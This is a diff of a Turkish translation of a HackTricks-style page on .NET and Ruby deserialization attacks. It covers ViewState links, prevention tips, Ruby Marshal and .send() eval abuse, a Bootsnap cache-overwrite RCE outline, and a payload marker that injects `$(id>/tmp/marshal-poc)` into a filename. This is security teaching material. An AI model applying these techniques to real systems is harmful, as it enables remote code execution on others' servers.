Bu nedenle **`--test`** parametresi, **hangi kod parçalarının** **ysoserial.net** tarafından oluşturulan deserialization istismarına karşı savunmasız olduğunu anlamamıza olanak tanır.
|
||||
|
||||
### ViewState
|
||||
|
||||
[**.Net'in \_\_ViewState parametresini istismar etmeye nasıl çalışılacağı hakkında bu POST'a**](exploiting-__viewstate-parameter.md) bakın **rastgele kod çalıştırmak için.** Eğer **kurban makinesinin kullandığı sırları zaten biliyorsanız**, [**kod çalıştırmayı öğrenmek için bu yazıyı okuyun**](exploiting-__viewstate-knowing-the-secret.md)**.**
|
||||
[**.Net'in \_\_ViewState parametresini istismar etmeye nasıl çalışılacağı hakkında bu POST'a**](exploiting-__viewstate-parameter.md) bakın **rastgele kod çalıştırmak için.** Eğer **kurban makinesinin** kullandığı sırları **zaten biliyorsanız**, [**kod çalıştırmayı öğrenmek için bu yazıyı okuyun**](exploiting-__viewstate-knowing-the-secret.md)**.**
|
||||
|
||||
### Önleme
|
||||
|
||||
@ -774,9 +774,9 @@ Bu nedenle **`--test`** parametresi, **ysoserial.net** tarafından oluşturulabi
|
||||
- **Veri akışlarının nesne türlerini tanımlamasına izin vermekten kaçının.** Mümkünse `DataContractSerializer` veya `XmlSerializer` kullanın.
|
||||
- **`JSON.Net` için `TypeNameHandling`'i `None` olarak ayarlayın:** `TypeNameHandling = TypeNameHandling.None`
|
||||
- **`JavaScriptSerializer`'ı `JavaScriptTypeResolver` ile kullanmaktan kaçının.**
|
||||
- **Deserialized edilebilecek türleri sınırlayın**, `System.IO.FileInfo` gibi .Net türleri ile ilişkili riskleri anlayarak, bu türler sunucu dosyalarının özelliklerini değiştirebilir ve hizmet reddi saldırılarına yol açabilir.
|
||||
- **Deserialized edilebilecek türleri sınırlayın**, `System.IO.FileInfo` gibi .Net türleri ile ilgili içsel riskleri anlayarak, bu türler sunucu dosyalarının özelliklerini değiştirebilir ve hizmet reddi saldırılarına yol açabilir.
|
||||
- **Riskli özelliklere sahip türlerle dikkatli olun**, `Value` özelliği ile `System.ComponentModel.DataAnnotations.ValidationException` gibi, istismar edilebilir.
|
||||
- **Tür örneklemesini güvenli bir şekilde kontrol edin**; bu, saldırganların deserialization sürecini etkilemesini önler ve `DataContractSerializer` veya `XmlSerializer`'ı bile savunmasız hale getirebilir.
|
||||
- **Tür örneklemesini güvenli bir şekilde kontrol edin**; bu, saldırganların deserialization sürecini etkilemesini önler ve hatta `DataContractSerializer` veya `XmlSerializer`'ı savunmasız hale getirebilir.
|
||||
- **`BinaryFormatter` ve `JSON.Net` için özel bir `SerializationBinder` kullanarak beyaz liste kontrolleri uygulayın.**
|
||||
- **.Net içinde bilinen güvensiz deserialization aletleri hakkında bilgi sahibi olun** ve deserializer'ların bu türleri örneklemediğinden emin olun.
|
||||
- **Potansiyel olarak riskli kodu** internet erişimi olan koddan izole edin, böylece `System.Windows.Data.ObjectDataProvider` gibi bilinen aletleri güvensiz veri kaynaklarına maruz bırakmaktan kaçının.
|
||||
@ -790,9 +790,9 @@ Bu nedenle **`--test`** parametresi, **ysoserial.net** tarafından oluşturulabi
|
||||
|
||||
## **Ruby**
|
||||
|
||||
Ruby'de, serialization **marshal** kütüphanesindeki iki yöntemle sağlanır. İlk yöntem, **dump** olarak bilinir ve bir nesneyi bir bayt akışına dönüştürmek için kullanılır. Bu işleme serialization denir. Tersine, ikinci yöntem **load** olarak adlandırılır ve bir bayt akışını tekrar bir nesneye döndürmek için kullanılır; bu işleme ise deserialization denir.
|
||||
Ruby'de, serialization **marshal** kütüphanesindeki iki yöntemle sağlanır. İlk yöntem, **dump** olarak bilinir ve bir nesneyi bir byte akışına dönüştürmek için kullanılır. Bu işleme serialization denir. Tersine, ikinci yöntem **load** olarak adlandırılır ve bir byte akışını tekrar bir nesneye döndürmek için kullanılır; bu işleme ise deserialization denir.
|
||||
|
||||
Serileştirilmiş nesneleri güvence altına almak için, **Ruby HMAC (Hash-Based Message Authentication Code)** kullanır ve verilerin bütünlüğünü ve doğruluğunu sağlar. Bu amaçla kullanılan anahtar, birkaç olası konumdan birinde saklanır:
|
||||
Serileştirilmiş nesneleri güvence altına almak için **Ruby, HMAC (Hash-Based Message Authentication Code)** kullanır ve verilerin bütünlüğünü ve doğruluğunu sağlar. Bu amaçla kullanılan anahtar, birkaç olası konumdan birinde saklanır:
|
||||
|
||||
- `config/environment.rb`
|
||||
- `config/initializers/secret_token.rb`
|
||||
@ -874,14 +874,14 @@ Diğer RCE zinciri Ruby On Rails'i istismar etmek için: [https://codeclimate.co
|
||||
|
||||
### Ruby .send() metodu
|
||||
|
||||
[**bu güvenlik açığı raporunda**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) açıklandığı gibi, eğer bazı kullanıcıdan gelen temizlenmemiş girdi bir ruby nesnesinin `.send()` metoduna ulaşırsa, bu metod nesnenin **herhangi bir diğer metodunu** herhangi bir parametre ile çağırmaya izin verir.
|
||||
[**bu güvenlik açığı raporunda**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/) açıklandığı gibi, bazı kullanıcıdan gelen temizlenmemiş girdi `.send()` metoduna ulaştığında, bu metod nesnenin **herhangi bir diğer metodunu** herhangi bir parametre ile çağırmaya izin verir.
|
||||
|
||||
Örneğin, eval çağırmak ve ardından ruby kodunu ikinci parametre olarak vermek, rastgele kodun çalıştırılmasına olanak tanır:
|
||||
```ruby
|
||||
<Object>.send('eval', '<user input with Ruby code>') == RCE
|
||||
```
|
||||
Ayrıca, **`.send()`** yönteminin yalnızca bir parametresi bir saldırgan tarafından kontrol ediliyorsa, önceki yazıda belirtildiği gibi, **argüman gerektirmeyen** veya argümanlarının **varsayılan değerleri** olan herhangi bir nesne yöntemini çağırmak mümkündür.\
|
||||
Bunun için, bu gereksinimleri karşılayan **ilginç yöntemleri bulmak üzere nesnenin tüm yöntemlerini saymak** mümkündür.
|
||||
Ayrıca, eğer **`.send()`** metodunun yalnızca bir parametresi bir saldırgan tarafından kontrol ediliyorsa, önceki yazıda belirtildiği gibi, **argüman gerektirmeyen** veya argümanlarının **varsayılan değerleri** olan herhangi bir nesne metodunu çağırmak mümkündür.\
|
||||
Bunun için, bu gereksinimleri karşılayan **ilginç metodları bulmak üzere nesnenin tüm metodlarını listelemek** mümkündür.
|
||||
```ruby
|
||||
<Object>.send('<user_input>')
|
||||
|
||||
@ -917,9 +917,9 @@ Daha fazla bilgi için [Ruby _json kirlenmesi sayfasını](ruby-_json-pollution.
|
||||
|
||||
Bu teknik [**bu blog yazısından**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared) alınmıştır.
|
||||
|
||||
RCE elde etmek için kötüye kullanılabilecek nesneleri serileştirmek için kullanılabilecek diğer Ruby kütüphaneleri vardır. Aşağıdaki tablo, bu kütüphanelerden bazılarını ve yüklenen kütüphaneden serileştirilmediğinde çağrılan yöntemlerini göstermektedir (temelde RCE elde etmek için kötüye kullanılacak fonksiyon):
|
||||
RCE elde etmek için kötüye kullanılabilecek nesneleri serileştirmek için kullanılabilecek diğer Ruby kütüphaneleri vardır. Aşağıdaki tablo, bu kütüphanelerden bazılarını ve yüklenen kütüphaneden serileştirilmediğinde çağrılan yöntemleri göstermektedir (temelde RCE elde etmek için kötüye kullanılacak fonksiyon):
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Kütüphane</strong></td><td><strong>Girdi verisi</strong></td><td><strong>Sınıf içindeki başlatma yöntemi</strong></td></tr><tr><td>Marshal (Ruby)</td><td>Binary</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (sınıfın hash(maps) içinde anahtar olarak yer alması gerekir)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (sınıfın hash(maps) içinde anahtar olarak yer alması gerekir)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (sınıfın hash(maps) içinde anahtar olarak yer alması gerekir)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([json_create ile ilgili notlara bakın](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>Kütüphane</strong></td><td><strong>Girdi verisi</strong></td><td><strong>Sınıf içindeki başlatma yöntemi</strong></td></tr><tr><td>Marshal (Ruby)</td><td>İkili</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (sınıfın hash(maps) içinde anahtar olarak yer alması gerekir)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (sınıfın hash(maps) içinde anahtar olarak yer alması gerekir)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (sınıfın hash(maps) içinde anahtar olarak yer alması gerekir)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([json_create ile ilgili notlara bakın](#table-vulnerable-sinks) son)</td></tr></tbody></table>
|
||||
|
||||
Temel örnek:
|
||||
```ruby
|
||||
@ -981,15 +981,15 @@ Check for more details in the [**original post**](https://github.blog/security/v
|
||||
|
||||
### Bootstrap Caching
|
||||
|
||||
Gerçekten bir deserialization zafiyeti değil ama bir Rails uygulamasından rastgele dosya yazma ile RCE elde etmek için bootstrap caching'i kötüye kullanmak için güzel bir hile (tam [orijinal yazıyı burada](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/) bulabilirsiniz).
|
||||
Gerçekten bir deserialization zafiyeti değil ama bir Rails uygulamasından keyfi dosya yazımı ile RCE elde etmek için bootstrap caching'i kötüye kullanmak için güzel bir numara (tam [orijinal yazıyı burada](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/) bulabilirsiniz).
|
||||
|
||||
Aşağıda, Bootsnap caching'i kötüye kullanarak rastgele dosya yazma zafiyetini istismar etmek için makalede detaylandırılan adımların kısa bir özeti bulunmaktadır:
|
||||
Aşağıda, Bootsnap caching'i kötüye kullanarak keyfi dosya yazma zafiyetini istismar etmek için makalede detaylandırılan adımların kısa bir özeti bulunmaktadır:
|
||||
|
||||
- Zafiyeti ve Ortamı Belirleyin
|
||||
- Vulnerability and Environment'i Belirleyin
|
||||
|
||||
Rails uygulamasının dosya yükleme işlevi, bir saldırganın dosyaları rastgele yazmasına izin verir. Uygulama kısıtlamalarla çalışsa da (Docker'ın kök olmayan kullanıcısı nedeniyle yalnızca tmp gibi belirli dizinler yazılabilir), bu yine de Bootsnap önbellek dizinine yazmaya izin verir (genellikle tmp/cache/bootsnap altında).
|
||||
Rails uygulamasının dosya yükleme işlevi, bir saldırganın dosyaları keyfi olarak yazmasına izin verir. Uygulama kısıtlamalarla çalışsa da (Docker'ın kök olmayan kullanıcısı nedeniyle yalnızca tmp gibi belirli dizinler yazılabilir), bu yine de Bootsnap önbellek dizinine yazmaya izin verir (genellikle tmp/cache/bootsnap altında).
|
||||
|
||||
- Bootsnap'ın Önbellek Mekanizmasını Anlayın
|
||||
- Bootsnap’ın Önbellek Mekanizmasını Anlayın
|
||||
|
||||
Bootsnap, derlenmiş Ruby kodunu, YAML ve JSON dosyalarını önbelleğe alarak Rails başlatma sürelerini hızlandırır. Ruby sürümü, dosya boyutu, mtime, derleme seçenekleri gibi alanları içeren bir önbellek anahtarı başlığı ile birlikte derlenmiş kodu içeren önbellek dosyalarını saklar. Bu başlık, uygulama başlangıcında önbelleği doğrulamak için kullanılır.
|
||||
|
||||
@ -999,24 +999,24 @@ Saldırgan, Rails başlangıcında muhtemelen yüklenen bir hedef dosyayı (örn
|
||||
|
||||
- Önbellek Dosyası Yolunu Hesaplayın
|
||||
|
||||
Bootsnap'ın FNV-1a 64-bit hash mekanizmasını taklit ederek, doğru önbellek dosyası yolu belirlenir. Bu adım, kötü niyetli önbellek dosyasının Bootsnap'ın beklediği yere tam olarak yerleştirildiğinden emin olur (örneğin, tmp/cache/bootsnap/compile-cache-iseq/ altında).
|
||||
Bootsnap’ın FNV-1a 64-bit hash mekanizmasını taklit ederek, doğru önbellek dosyası yolu belirlenir. Bu adım, kötü niyetli önbellek dosyasının Bootsnap'ın beklediği yere tam olarak yerleştirildiğinden emin olur (örneğin, tmp/cache/bootsnap/compile-cache-iseq/ altında).
|
||||
|
||||
- Kötü Niyetli Önbellek Dosyasını Oluşturun
|
||||
|
||||
Saldırgan, aşağıdakileri gerçekleştiren bir yük hazırlamaktadır:
|
||||
Saldırgan, aşağıdakileri yapan bir yük hazırlamaktadır:
|
||||
|
||||
- Rastgele komutlar çalıştırır (örneğin, işlem bilgilerini göstermek için id çalıştırmak).
|
||||
- Kötü niyetli önbelleği çalıştırmadan sonra kaldırır, böylece yinelemeli istismarı önler.
|
||||
- Keyfi komutları çalıştırır (örneğin, işlem bilgilerini göstermek için id çalıştırmak).
|
||||
- Kötü niyetli önbelleği çalıştırmadan sonra kaldırır, böylece yinelemeli istismar önlenir.
|
||||
- Uygulamanın çökmesini önlemek için orijinal dosyayı (örneğin, set.rb) yükler.
|
||||
|
||||
Bu yük, ikili Ruby koduna derlenir ve daha önce toplanan meta veriler ve Bootsnap için doğru sürüm numarası kullanılarak dikkatlice oluşturulmuş bir önbellek anahtarı başlığı ile birleştirilir.
|
||||
|
||||
- Üzerine Yazın ve Çalıştırmayı Tetikleyin
|
||||
Rastgele dosya yazma zafiyetini kullanarak, saldırgan oluşturulan önbellek dosyasını hesaplanan konuma yazar. Ardından, bir sunucu yeniden başlatmasını tetikler (Puma tarafından izlenen tmp/restart.txt dosyasına yazarak). Yeniden başlatma sırasında, Rails hedef dosyayı talep ettiğinde, kötü niyetli önbellek dosyası yüklenir ve uzaktan kod yürütme (RCE) gerçekleşir.
|
||||
Keyfi dosya yazma zafiyetini kullanarak, saldırgan oluşturulan önbellek dosyasını hesaplanan konuma yazar. Ardından, bir sunucu yeniden başlatmasını tetikler (Puma tarafından izlenen tmp/restart.txt dosyasına yazarak). Yeniden başlatma sırasında, Rails hedef dosyayı gerektirdiğinde, kötü niyetli önbellek dosyası yüklenir ve uzaktan kod yürütme (RCE) ile sonuçlanır.
|
||||
|
||||
### Ruby Marshal exploitation in practice (updated)
|
||||
|
||||
Güvenilmeyen baytların `Marshal.load`/`marshal_load`'a ulaştığı herhangi bir yolu RCE kaynağı olarak değerlendirin. Marshal, rastgele nesne grafiklerini yeniden yapılandırır ve malzeme haline getirme sırasında kütüphane/gem geri çağırmalarını tetikler.
|
||||
Güvenilmeyen baytların `Marshal.load`/`marshal_load`'a ulaştığı herhangi bir yolu RCE kaynağı olarak değerlendirin. Marshal, keyfi nesne grafikleri yeniden yapılandırır ve malzeme haline getirme sırasında kütüphane/gem geri çağırmalarını tetikler.
|
||||
|
||||
- Minimal vulnerable Rails code path:
|
||||
```ruby
|
||||
@ -1033,7 +1033,7 @@ end
|
||||
end
|
||||
```
|
||||
- Gerçek zincirlerde görülen yaygın gadget sınıfları: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
|
||||
- Payload'larda yer alan tipik yan etki işareti (unmarshal sırasında yürütülür):
|
||||
- Payload'larda gömülü tipik yan etki işareti (unmarshal sırasında yürütülür):
|
||||
```
|
||||
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
|
||||
```
|
||||
@ -1042,26 +1042,26 @@ Gerçek uygulamalarda nerede ortaya çıkıyor:
|
||||
- Arka plan iş arka uçları ve dosya destekli nesne depoları
|
||||
- İkili nesne blob'larının herhangi bir özel kalıcılığı veya taşınması
|
||||
|
||||
Endüstrileşmiş alet keşfi:
|
||||
- Yapıcılar, `hash`, `_load`, `init_with` veya unmarshal sırasında çağrılan yan etkili yöntemler için Grep yapın
|
||||
- Kaynakları → varış noktalarına izlemek ve aletleri ortaya çıkarmak için CodeQL’nin Ruby güvensiz deserialization sorgularını kullanın
|
||||
Endüstriyel cihaz keşfi:
|
||||
- Yapıcılar, `hash`, `_load`, `init_with` veya unmarshal sırasında çağrılan yan etkili yöntemler için Grep kullanın
|
||||
- Kaynakları → varış noktalarına izlemek ve cihazları ortaya çıkarmak için CodeQL’nin Ruby güvensiz deserialization sorgularını kullanın
|
||||
- Kamuya açık çok formatlı PoC'lerle doğrulayın (JSON/XML/YAML/Marshal)
|
||||
|
||||
## Referanslar
|
||||
|
||||
- Trail of Bits – Marshal deliliği: Ruby deserialization istismarlarının kısa tarihi: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
|
||||
- elttam – Ruby 2.x Evrensel RCE Deserialization Alet Zinciri: https://www.elttam.com/blog/ruby-deserialization/
|
||||
- elttam – Ruby 2.x Evrensel RCE Deserialization Gadget Zinciri: https://www.elttam.com/blog/ruby-deserialization/
|
||||
- Phrack #69 – Rails 3/4 Marshal zinciri: https://phrack.org/issues/69/12.html
|
||||
- CVE-2019-5420 (Rails 5.2 güvensiz deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
|
||||
- ZDI – Ruby on Rails Active Storage güvensiz deserialization ile RCE: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
|
||||
- Include Security – Rubyland'de alet zincirlerini keşfetmek: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
|
||||
- Include Security – Rubyland'de gadget zincirlerini keşfetmek: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
|
||||
- GitHub Security Lab – Ruby güvensiz deserialization (sorgu yardımı): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
|
||||
- GitHub Security Lab – PoC'ler deposu: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
|
||||
- Doyensec PR – Ruby 3.4 aleti: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
|
||||
- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
|
||||
- Luke Jahnke – Ruby 3.4 evrensel zincir: https://nastystereo.com/security/ruby-3.4-deserialization.html
|
||||
- Luke Jahnke – Gem::SafeMarshal kaçışı: https://nastystereo.com/security/ruby-safe-marshal-escape.html
|
||||
- Ruby 3.4.0-rc1 sürümü: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
|
||||
- Ruby düzeltme PR #12444: https://github.com/ruby/ruby/pull/12444
|
||||
- Trail of Bits – RubyGems.org'un denetimi (Marshal bulguları): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
|
||||
- Trail of Bits – RubyGems.org'u denetleme (Marshal bulguları): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user